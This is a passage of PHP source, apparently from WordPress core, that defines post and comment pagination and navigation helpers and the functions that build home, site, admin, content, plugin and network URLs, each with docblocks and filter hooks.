* @since 0.71
*
* @param string $label Optional. Previous page link text.
*/
function previous_posts_link( $label = null ) {
echo get_previous_posts_link( $label );
}
/**
* Retrieves the post pages link navigation for previous and next pages.
*
* @since 2.8.0
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param string|array $args {
* Optional. Arguments to build the post pages link navigation.
*
* @type string $sep Separator character. Default '—'.
* @type string $prelabel Link text to display for the previous page link.
* Default '« Previous Page'.
* @type string $nxtlabel Link text to display for the next page link.
* Default 'Next Page »'.
* }
* @return string The posts link navigation.
*/
function get_posts_nav_link( $args = array() ) {
global $wp_query;
$return = '';
if ( ! is_singular() ) {
$defaults = array(
'sep' => ' — ',
'prelabel' => __( '« Previous Page' ),
'nxtlabel' => __( 'Next Page »' ),
);
$args = wp_parse_args( $args, $defaults );
$max_num_pages = $wp_query->max_num_pages;
$paged = get_query_var( 'paged' );
// Only have sep if there's both prev and next results.
if ( $paged < 2 || $paged >= $max_num_pages ) {
$args['sep'] = '';
}
if ( $max_num_pages > 1 ) {
$return = get_previous_posts_link( $args['prelabel'] );
$return .= preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $args['sep'] );
$return .= get_next_posts_link( $args['nxtlabel'] );
}
}
return $return;
}
/**
* Displays the post pages link navigation for previous and next pages.
*
* @since 0.71
*
* @param string $sep Optional. Separator for posts navigation links. Default empty.
* @param string $prelabel Optional. Label for previous pages. Default empty.
* @param string $nxtlabel Optional Label for next pages. Default empty.
*/
function posts_nav_link( $sep = '', $prelabel = '', $nxtlabel = '' ) {
$args = array_filter( compact( 'sep', 'prelabel', 'nxtlabel' ) );
echo get_posts_nav_link( $args );
}
/**
* Retrieves the navigation to next/previous post, when applicable.
*
* @since 4.1.0
* @since 4.4.0 Introduced the `in_same_term`, `excluded_terms`, and `taxonomy` arguments.
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @param array $args {
* Optional. Default post navigation arguments. Default empty array.
*
* @type string $prev_text Anchor text to display in the previous post link.
* Default '%title'.
* @type string $next_text Anchor text to display in the next post link.
* Default '%title'.
* @type bool $in_same_term Whether link should be in the same taxonomy term.
* Default false.
* @type int[]|string $excluded_terms Array or comma-separated list of excluded term IDs.
* Default empty.
* @type string $taxonomy Taxonomy, if `$in_same_term` is true. Default 'category'.
* @type string $screen_reader_text Screen reader text for the nav element.
* Default 'Post navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Posts'.
* @type string $class Custom class for the nav element. Default 'post-navigation'.
* }
* @return string Markup for post links.
*/
function get_the_post_navigation( $args = array() ) {
// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'prev_text' => '%title',
'next_text' => '%title',
'in_same_term' => false,
'excluded_terms' => '',
'taxonomy' => 'category',
'screen_reader_text' => __( 'Post navigation' ),
'aria_label' => __( 'Posts' ),
'class' => 'post-navigation',
)
);
$navigation = '';
$previous = get_previous_post_link(
'<div class="nav-previous">%link</div>',
$args['prev_text'],
$args['in_same_term'],
$args['excluded_terms'],
$args['taxonomy']
);
$next = get_next_post_link(
'<div class="nav-next">%link</div>',
$args['next_text'],
$args['in_same_term'],
$args['excluded_terms'],
$args['taxonomy']
);
// Only add markup if there's somewhere to navigate to.
if ( $previous || $next ) {
$navigation = _navigation_markup( $previous . $next, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
return $navigation;
}
/**
* Displays the navigation to next/previous post, when applicable.
*
* @since 4.1.0
*
* @param array $args Optional. See get_the_post_navigation() for available arguments.
* Default empty array.
*/
function the_post_navigation( $args = array() ) {
echo get_the_post_navigation( $args );
}
/**
* Returns the navigation to next/previous set of posts, when applicable.
*
* @since 4.1.0
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param array $args {
* Optional. Default posts navigation arguments. Default empty array.
*
* @type string $prev_text Anchor text to display in the previous posts link.
* Default 'Older posts'.
* @type string $next_text Anchor text to display in the next posts link.
* Default 'Newer posts'.
* @type string $screen_reader_text Screen reader text for the nav element.
* Default 'Posts navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Posts'.
* @type string $class Custom class for the nav element. Default 'posts-navigation'.
* }
* @return string Markup for posts links.
*/
function get_the_posts_navigation( $args = array() ) {
global $wp_query;
$navigation = '';
// Don't print empty markup if there's only one page.
if ( $wp_query->max_num_pages > 1 ) {
// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'prev_text' => __( 'Older posts' ),
'next_text' => __( 'Newer posts' ),
'screen_reader_text' => __( 'Posts navigation' ),
'aria_label' => __( 'Posts' ),
'class' => 'posts-navigation',
)
);
$next_link = get_previous_posts_link( $args['next_text'] );
$prev_link = get_next_posts_link( $args['prev_text'] );
if ( $prev_link ) {
$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
}
if ( $next_link ) {
$navigation .= '<div class="nav-next">' . $next_link . '</div>';
}
$navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
return $navigation;
}
/**
* Displays the navigation to next/previous set of posts, when applicable.
*
* @since 4.1.0
*
* @param array $args Optional. See get_the_posts_navigation() for available arguments.
* Default empty array.
*/
function the_posts_navigation( $args = array() ) {
echo get_the_posts_navigation( $args );
}
/**
* Retrieves a paginated navigation to next/previous set of posts, when applicable.
*
* @since 4.1.0
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param array $args {
* Optional. Default pagination arguments, see paginate_links().
*
* @type string $screen_reader_text Screen reader text for navigation element.
* Default 'Posts navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Posts'.
* @type string $class Custom class for the nav element. Default 'pagination'.
* }
* @return string Markup for pagination links.
*/
function get_the_posts_pagination( $args = array() ) {
global $wp_query;
$navigation = '';
// Don't print empty markup if there's only one page.
if ( $wp_query->max_num_pages > 1 ) {
// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'mid_size' => 1,
'prev_text' => _x( 'Previous', 'previous set of posts' ),
'next_text' => _x( 'Next', 'next set of posts' ),
'screen_reader_text' => __( 'Posts navigation' ),
'aria_label' => __( 'Posts' ),
'class' => 'pagination',
)
);
/**
* Filters the arguments for posts pagination links.
*
* @since 6.1.0
*
* @param array $args {
* Optional. Default pagination arguments, see paginate_links().
*
* @type string $screen_reader_text Screen reader text for navigation element.
* Default 'Posts navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Posts'.
* @type string $class Custom class for the nav element. Default 'pagination'.
* }
*/
$args = apply_filters( 'the_posts_pagination_args', $args );
// Make sure we get a string back. Plain is the next best thing.
if ( isset( $args['type'] ) && 'array' === $args['type'] ) {
$args['type'] = 'plain';
}
// Set up paginated links.
$links = paginate_links( $args );
if ( $links ) {
$navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
}
return $navigation;
}
/**
* Displays a paginated navigation to next/previous set of posts, when applicable.
*
* @since 4.1.0
*
* @param array $args Optional. See get_the_posts_pagination() for available arguments.
* Default empty array.
*/
function the_posts_pagination( $args = array() ) {
echo get_the_posts_pagination( $args );
}
/**
* Wraps passed links in navigational markup.
*
* @since 4.1.0
* @since 5.3.0 Added the `aria_label` parameter.
* @access private
*
* @param string $links Navigational links.
* @param string $css_class Optional. Custom class for the nav element.
* Default 'posts-navigation'.
* @param string $screen_reader_text Optional. Screen reader text for the nav element.
* Default 'Posts navigation'.
* @param string $aria_label Optional. ARIA label for the nav element.
* Defaults to the value of `$screen_reader_text`.
* @return string Navigation template tag.
*/
function _navigation_markup( $links, $css_class = 'posts-navigation', $screen_reader_text = '', $aria_label = '' ) {
if ( empty( $screen_reader_text ) ) {
$screen_reader_text = /* translators: Hidden accessibility text. */ __( 'Posts navigation' );
}
if ( empty( $aria_label ) ) {
$aria_label = $screen_reader_text;
}
$template = '
<nav class="navigation %1$s" aria-label="%4$s">
<h2 class="screen-reader-text">%2$s</h2>
<div class="nav-links">%3$s</div>
</nav>';
/**
* Filters the navigation markup template.
*
* Note: The filtered template HTML must contain specifiers for the navigation
* class (%1$s), the screen-reader-text value (%2$s), placement of the navigation
* links (%3$s), and ARIA label text if screen-reader-text does not fit that (%4$s):
*
* <nav class="navigation %1$s" aria-label="%4$s">
* <h2 class="screen-reader-text">%2$s</h2>
* <div class="nav-links">%3$s</div>
* </nav>
*
* @since 4.4.0
*
* @param string $template The default template.
* @param string $css_class The class passed by the calling function.
* @return string Navigation template.
*/
$template = apply_filters( 'navigation_markup_template', $template, $css_class );
return sprintf( $template, sanitize_html_class( $css_class ), esc_html( $screen_reader_text ), $links, esc_attr( $aria_label ) );
}
/**
* Retrieves the comments page number link.
*
* @since 2.7.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int $pagenum Optional. Page number. Default 1.
* @param int $max_page Optional. The maximum number of comment pages. Default 0.
* @return string The comments page number link URL.
*/
function get_comments_pagenum_link( $pagenum = 1, $max_page = 0 ) {
global $wp_rewrite;
$pagenum = (int) $pagenum;
$max_page = (int) $max_page;
$result = get_permalink();
if ( 'newest' === get_option( 'default_comments_page' ) ) {
if ( $pagenum !== $max_page ) {
if ( $wp_rewrite->using_permalinks() ) {
$result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' );
} else {
$result = add_query_arg( 'cpage', $pagenum, $result );
}
}
} elseif ( $pagenum > 1 ) {
if ( $wp_rewrite->using_permalinks() ) {
$result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' );
} else {
$result = add_query_arg( 'cpage', $pagenum, $result );
}
}
$result .= '#comments';
/**
* Filters the comments page number link for the current request.
*
* @since 2.7.0
*
* @param string $result The comments page number link.
*/
return apply_filters( 'get_comments_pagenum_link', $result );
}
/**
* Retrieves the link to the next comments page.
*
* @since 2.7.1
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param string $label Optional. Label for link text. Default empty.
* @param int $max_page Optional. Max page. Default 0.
* @return string|void HTML-formatted link for the next page of comments.
*/
function get_next_comments_link( $label = '', $max_page = 0 ) {
global $wp_query;
if ( ! is_singular() ) {
return;
}
$page = get_query_var( 'cpage' );
if ( ! $page ) {
$page = 1;
}
$next_page = (int) $page + 1;
if ( empty( $max_page ) ) {
$max_page = $wp_query->max_num_comment_pages;
}
if ( empty( $max_page ) ) {
$max_page = get_comment_pages_count();
}
if ( $next_page > $max_page ) {
return;
}
if ( empty( $label ) ) {
$label = __( 'Newer Comments »' );
}
/**
* Filters the anchor tag attributes for the next comments page link.
*
* @since 2.7.0
*
* @param string $attributes Attributes for the anchor tag.
*/
$attr = apply_filters( 'next_comments_link_attributes', '' );
return sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
esc_url( get_comments_pagenum_link( $next_page, $max_page ) ),
$attr,
preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label )
);
}
/**
* Displays the link to the next comments page.
*
* @since 2.7.0
*
* @param string $label Optional. Label for link text. Default empty.
* @param int $max_page Optional. Max page. Default 0.
*/
function next_comments_link( $label = '', $max_page = 0 ) {
echo get_next_comments_link( $label, $max_page );
}
/**
* Retrieves the link to the previous comments page.
*
* @since 2.7.1
*
* @param string $label Optional. Label for comments link text. Default empty.
* @return string|void HTML-formatted link for the previous page of comments.
*/
function get_previous_comments_link( $label = '' ) {
if ( ! is_singular() ) {
return;
}
$page = get_query_var( 'cpage' );
if ( (int) $page <= 1 ) {
return;
}
$previous_page = (int) $page - 1;
if ( empty( $label ) ) {
$label = __( '« Older Comments' );
}
/**
* Filters the anchor tag attributes for the previous comments page link.
*
* @since 2.7.0
*
* @param string $attributes Attributes for the anchor tag.
*/
$attr = apply_filters( 'previous_comments_link_attributes', '' );
return sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
esc_url( get_comments_pagenum_link( $previous_page ) ),
$attr,
preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label )
);
}
/**
* Displays the link to the previous comments page.
*
* @since 2.7.0
*
* @param string $label Optional. Label for comments link text. Default empty.
*/
function previous_comments_link( $label = '' ) {
echo get_previous_comments_link( $label );
}
/**
* Displays or retrieves pagination links for the comments on the current post.
*
* @see paginate_links()
* @since 2.7.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string|array $args Optional args. See paginate_links(). Default empty array.
* @return void|string|array Void if 'echo' argument is true and 'type' is not an array,
* or if the query is not for an existing single post of any post type.
* Otherwise, markup for comment page links or array of comment page links,
* depending on 'type' argument.
*/
function paginate_comments_links( $args = array() ) {
global $wp_rewrite;
if ( ! is_singular() ) {
return;
}
$page = get_query_var( 'cpage' );
if ( ! $page ) {
$page = 1;
}
$max_page = get_comment_pages_count();
$defaults = array(
'base' => add_query_arg( 'cpage', '%#%' ),
'format' => '',
'total' => $max_page,
'current' => $page,
'echo' => true,
'type' => 'plain',
'add_fragment' => '#comments',
);
if ( $wp_rewrite->using_permalinks() ) {
$defaults['base'] = user_trailingslashit( trailingslashit( get_permalink() ) . $wp_rewrite->comments_pagination_base . '-%#%', 'commentpaged' );
}
$args = wp_parse_args( $args, $defaults );
$page_links = paginate_links( $args );
if ( $args['echo'] && 'array' !== $args['type'] ) {
echo $page_links;
} else {
return $page_links;
}
}
/**
* Retrieves navigation to next/previous set of comments, when applicable.
*
* @since 4.4.0
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @param array $args {
* Optional. Default comments navigation arguments.
*
* @type string $prev_text Anchor text to display in the previous comments link.
* Default 'Older comments'.
* @type string $next_text Anchor text to display in the next comments link.
* Default 'Newer comments'.
* @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Comments'.
* @type string $class Custom class for the nav element. Default 'comment-navigation'.
* }
* @return string Markup for comments links.
*/
function get_the_comments_navigation( $args = array() ) {
$navigation = '';
// Are there comments to navigate through?
if ( get_comment_pages_count() > 1 ) {
// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'prev_text' => __( 'Older comments' ),
'next_text' => __( 'Newer comments' ),
'screen_reader_text' => __( 'Comments navigation' ),
'aria_label' => __( 'Comments' ),
'class' => 'comment-navigation',
)
);
$prev_link = get_previous_comments_link( $args['prev_text'] );
$next_link = get_next_comments_link( $args['next_text'] );
if ( $prev_link ) {
$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
}
if ( $next_link ) {
$navigation .= '<div class="nav-next">' . $next_link . '</div>';
}
$navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
return $navigation;
}
/**
* Displays navigation to next/previous set of comments, when applicable.
*
* @since 4.4.0
*
* @param array $args See get_the_comments_navigation() for available arguments. Default empty array.
*/
function the_comments_navigation( $args = array() ) {
echo get_the_comments_navigation( $args );
}
/**
* Retrieves a paginated navigation to next/previous set of comments, when applicable.
*
* @since 4.4.0
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @see paginate_comments_links()
*
* @param array $args {
* Optional. Default pagination arguments.
*
* @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Comments'.
* @type string $class Custom class for the nav element. Default 'comments-pagination'.
* }
* @return string Markup for pagination links.
*/
function get_the_comments_pagination( $args = array() ) {
$navigation = '';
// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'screen_reader_text' => __( 'Comments navigation' ),
'aria_label' => __( 'Comments' ),
'class' => 'comments-pagination',
)
);
$args['echo'] = false;
// Make sure we get a string back. Plain is the next best thing.
if ( isset( $args['type'] ) && 'array' === $args['type'] ) {
$args['type'] = 'plain';
}
$links = paginate_comments_links( $args );
if ( $links ) {
$navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
return $navigation;
}
/**
* Displays a paginated navigation to next/previous set of comments, when applicable.
*
* @since 4.4.0
*
* @param array $args See get_the_comments_pagination() for available arguments. Default empty array.
*/
function the_comments_pagination( $args = array() ) {
echo get_the_comments_pagination( $args );
}
/**
* Retrieves the URL for the current site where the front end is accessible.
*
* Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
* if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
* If `$scheme` is 'http' or 'https', is_ssl() is overridden.
*
* @since 3.0.0
*
* @param string $path Optional. Path relative to the home URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
* 'http', 'https', 'relative', 'rest', or null. Default null.
* @return string Home URL link with optional path appended.
*/
function home_url( $path = '', $scheme = null ) {
return get_home_url( null, $path, $scheme );
}
/**
* Retrieves the URL for a given site where the front end is accessible.
*
* Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
* if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
* If `$scheme` is 'http' or 'https', is_ssl() is overridden.
*
* @since 3.0.0
*
* @param int|null $blog_id Optional. Site ID. Default null (current site).
* @param string $path Optional. Path relative to the home URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
* 'http', 'https', 'relative', 'rest', or null. Default null.
* @return string Home URL link with optional path appended.
*/
function get_home_url( $blog_id = null, $path = '', $scheme = null ) {
$orig_scheme = $scheme;
if ( empty( $blog_id ) || ! is_multisite() ) {
$url = get_option( 'home' );
} else {
switch_to_blog( $blog_id );
$url = get_option( 'home' );
restore_current_blog();
}
if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) {
if ( is_ssl() ) {
$scheme = 'https';
} else {
$scheme = parse_url( $url, PHP_URL_SCHEME );
}
}
$url = set_url_scheme( $url, $scheme );
if ( $path && is_string( $path ) ) {
$url .= '/' . ltrim( $path, '/' );
}
/**
* Filters the home URL.
*
* @since 3.0.0
*
* @param string $url The complete home URL including scheme and path.
* @param string $path Path relative to the home URL. Blank string if no path is specified.
* @param string|null $orig_scheme Scheme to give the home URL context. Accepts 'http', 'https',
* 'relative', 'rest', or null.
* @param int|null $blog_id Site ID, or null for the current site.
*/
return apply_filters( 'home_url', $url, $path, $orig_scheme, $blog_id );
}
/**
* Retrieves the URL for the current site where WordPress application files
* (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
*
* Returns the 'site_url' option with the appropriate protocol, 'https' if
* is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
* overridden.
*
* @since 3.0.0
*
* @param string $path Optional. Path relative to the site URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the site URL context. See set_url_scheme().
* @return string Site URL link with optional path appended.
*/
function site_url( $path = '', $scheme = null ) {
return get_site_url( null, $path, $scheme );
}
/**
* Retrieves the URL for a given site where WordPress application files
* (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
*
* Returns the 'site_url' option with the appropriate protocol, 'https' if
* is_ssl() and 'http' otherwise. If `$scheme` is 'http' or 'https',
* `is_ssl()` is overridden.
*
* @since 3.0.0
*
* @param int|null $blog_id Optional. Site ID. Default null (current site).
* @param string $path Optional. Path relative to the site URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the site URL context. Accepts
* 'http', 'https', 'login', 'login_post', 'admin', or
* 'relative'. Default null.
* @return string Site URL link with optional path appended.
*/
function get_site_url( $blog_id = null, $path = '', $scheme = null ) {
if ( empty( $blog_id ) || ! is_multisite() ) {
$url = get_option( 'siteurl' );
} else {
switch_to_blog( $blog_id );
$url = get_option( 'siteurl' );
restore_current_blog();
}
$url = set_url_scheme( $url, $scheme );
if ( $path && is_string( $path ) ) {
$url .= '/' . ltrim( $path, '/' );
}
/**
* Filters the site URL.
*
* @since 2.7.0
*
* @param string $url The complete site URL including scheme and path.
* @param string $path Path relative to the site URL. Blank string if no path is specified.
* @param string|null $scheme Scheme to give the site URL context. Accepts 'http', 'https', 'login',
* 'login_post', 'admin', 'relative' or null.
* @param int|null $blog_id Site ID, or null for the current site.
*/
return apply_filters( 'site_url', $url, $path, $scheme, $blog_id );
}
/**
* Retrieves the URL to the admin area for the current site.
*
* @since 2.6.0
*
* @param string $path Optional. Path relative to the admin URL. Default empty.
* @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
* 'http' or 'https' can be passed to force those schemes.
* @return string Admin URL link with optional path appended.
*/
function admin_url( $path = '', $scheme = 'admin' ) {
return get_admin_url( null, $path, $scheme );
}
/**
* Retrieves the URL to the admin area for a given site.
*
* @since 3.0.0
*
* @param int|null $blog_id Optional. Site ID. Default null (current site).
* @param string $path Optional. Path relative to the admin URL. Default empty.
* @param string $scheme Optional. The scheme to use. Accepts 'http' or 'https',
* to force those schemes. Default 'admin', which obeys
* force_ssl_admin() and is_ssl().
* @return string Admin URL link with optional path appended.
*/
function get_admin_url( $blog_id = null, $path = '', $scheme = 'admin' ) {
$url = get_site_url( $blog_id, 'wp-admin/', $scheme );
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
/**
* Filters the admin area URL.
*
* @since 2.8.0
* @since 5.8.0 The `$scheme` parameter was added.
*
* @param string $url The complete admin area URL including scheme and path.
* @param string $path Path relative to the admin area URL. Blank string if no path is specified.
* @param int|null $blog_id Site ID, or null for the current site.
* @param string|null $scheme The scheme to use. Accepts 'http', 'https',
* 'admin', or null. Default 'admin', which obeys force_ssl_admin() and is_ssl().
*/
return apply_filters( 'admin_url', $url, $path, $blog_id, $scheme );
}
/**
* Retrieves the URL to the includes directory.
*
* @since 2.6.0
*
* @param string $path Optional. Path relative to the includes URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the includes URL context. Accepts
* 'http', 'https', or 'relative'. Default null.
* @return string Includes URL link with optional path appended.
*/
function includes_url( $path = '', $scheme = null ) {
$url = site_url( '/' . WPINC . '/', $scheme );
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
/**
* Filters the URL to the includes directory.
*
* @since 2.8.0
* @since 5.8.0 The `$scheme` parameter was added.
*
* @param string $url The complete URL to the includes directory including scheme and path.
* @param string $path Path relative to the URL to the wp-includes directory. Blank string
* if no path is specified.
* @param string|null $scheme Scheme to give the includes URL context. Accepts
* 'http', 'https', 'relative', or null. Default null.
*/
return apply_filters( 'includes_url', $url, $path, $scheme );
}
/**
* Retrieves the URL to the content directory.
*
* @since 2.6.0
*
* @param string $path Optional. Path relative to the content URL. Default empty.
* @return string Content URL link with optional path appended.
*/
function content_url( $path = '' ) {
$url = set_url_scheme( WP_CONTENT_URL );
if ( $path && is_string( $path ) ) {
$url .= '/' . ltrim( $path, '/' );
}
/**
* Filters the URL to the content directory.
*
* @since 2.8.0
*
* @param string $url The complete URL to the content directory including scheme and path.
* @param string $path Path relative to the URL to the content directory. Blank string
* if no path is specified.
*/
return apply_filters( 'content_url', $url, $path );
}
/**
* Retrieves a URL within the plugins or mu-plugins directory.
*
* Defaults to the plugins directory URL if no arguments are supplied.
*
* @since 2.6.0
*
* @param string $path Optional. Extra path appended to the end of the URL, including
* the relative directory if $plugin is supplied. Default empty.
* @param string $plugin Optional. A full path to a file inside a plugin or mu-plugin.
* The URL will be relative to its directory. Default empty.
* Typically this is done by passing `__FILE__` as the argument.
* @return string Plugins URL link with optional paths appended.
*/
function plugins_url( $path = '', $plugin = '' ) {
$path = wp_normalize_path( $path );
$plugin = wp_normalize_path( $plugin );
$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );
if ( ! empty( $plugin ) && str_starts_with( $plugin, $mu_plugin_dir ) ) {
$url = WPMU_PLUGIN_URL;
} else {
$url = WP_PLUGIN_URL;
}
$url = set_url_scheme( $url );
if ( ! empty( $plugin ) && is_string( $plugin ) ) {
$folder = dirname( plugin_basename( $plugin ) );
if ( '.' !== $folder ) {
$url .= '/' . ltrim( $folder, '/' );
}
}
if ( $path && is_string( $path ) ) {
$url .= '/' . ltrim( $path, '/' );
}
/**
* Filters the URL to the plugins directory.
*
* @since 2.8.0
*
* @param string $url The complete URL to the plugins directory including scheme and path.
* @param string $path Path relative to the URL to the plugins directory. Blank string
* if no path is specified.
* @param string $plugin The plugin file path to be relative to. Blank string if no plugin
* is specified.
*/
return apply_filters( 'plugins_url', $url, $path, $plugin );
}
/**
* Retrieves the site URL for the current network.
*
* Returns the site URL with the appropriate protocol, 'https' if
* is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
* overridden.
*
* @since 3.0.0
*
* @see set_url_scheme()
*
* @param string $path Optional. Path relative to the site URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the site URL context. Accepts
* 'http', 'https', or 'relative'. Default null.
* @return string Site URL link with optional path appended.
*/
function network_site_url( $path = '', $scheme = null ) {
if ( ! is_multisite() ) {
return site_url( $path, $scheme );
}
$current_network = get_network();
if ( 'relative' === $scheme ) {
$url = $current_network->path;
} else {
$url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme );
}
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
/**
* Filters the network site URL.
*
* @since 3.0.0
*
* @param string $url The complete network site URL including scheme and path.
* @param string $path Path relative to the network site URL. Blank string if
* no path is specified.
* @param string|null $scheme Scheme to give the URL context. Accepts 'http', 'https',
* 'relative' or null.
*/
return apply_filters( 'network_site_url', $url, $path, $scheme );
}
/**
* Retrieves the home URL for the current network.
*
* Returns the home URL with the appropriate protocol, 'https' is_ssl()
* and 'http' otherwise. If `$scheme` is 'http' or 'https', `is_ssl()` is
* overridden.
*
* @since 3.0.0
*
* @param string $path Optional. Path relative to the home URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
* 'http', 'https', or 'relative'. Default null.
* @return string Home URL link with optional path appended.
*/
function network_home_url( $path = '', $scheme = null ) {
if ( ! is_multisite() ) {
return home_url( $path, $scheme );
}
$current_network = get_network();
$orig_scheme = $scheme;
if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) {
$scheme = is_ssl() ? 'https' : 'http';
}
if ( 'relative' === $scheme ) {
$url = $current_network->path;
} else {
$url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme );
}
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
/**
* Filters the network home URL.
*
* @since 3.0.0
*
* @param string $url The complete network home URL including scheme and path.
* @param string $path Path relative to the network home URL. Blank string
* if no path is specified.
* @param string|null $orig_scheme Scheme to give the URL context. Accepts 'http', 'https',
* 'relative' or null.
*/
return apply_filters( 'network_home_url', $url, $path, $orig_scheme );
}
/**
* Retrieves the URL to the admin area for the network.
*
* @since 3.0.0
*
* @param string $path Optional path relative to the admin URL. Default empty.
* @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Admin URL link with optional path appended.
*/
function network_admin_url( $path = '', $scheme = 'admin' ) {
if ( ! is_multisite() ) {
return admin_url( $path, $scheme );
}
$url = network_site_url( 'wp-admin/network/', $scheme );
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
/**
* Filters the network admin URL.
*
* @since 3.0.0
* @since 5.8.0 The `$scheme` parameter was added.
*
* @param string $url The complete network admin URL including scheme and path.
* @param string $path Path relative to the network admin URL. Blank string if
* no path is specified.
* @param string|null $scheme The scheme to use. Accepts 'http', 'https',
* 'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
*/
return apply_filters( 'network_admin_url', $url, $path, $scheme );
}
/**
* Retrieves the URL to the admin area for the current user.
*
* @since 3.0.0
*
* @param string $path Optional. Path relative to the admin URL. Default empty.
* @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Admin URL link with optional path appended.
*/
function user_admin_url( $path = '', $scheme = 'admin' ) {
$url = network_site_url( 'wp-admin/user/', $scheme );
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
/**
* Filters the user admin URL for the current user.
*
* @since 3.1.0
* @since 5.8.0 The `$scheme` parameter was added.
*
* @param string $url The complete URL including scheme and path.
* @param string $path Path relative to the URL. Blank string if
* no path is specified.
* @param string|null $scheme The scheme to use. Accepts 'http', 'https',
* 'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
*/
return apply_filters( 'user_admin_url', $url, $path, $scheme );
}
/**
* Retrieves the URL to the admin area for either the current site or the network depending on context.
*
* @since 3.1.0
*
* @param string $path Optional. Path relative to the admin URL. Default empty.
* @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Admin URL link with optional path appended.
*/
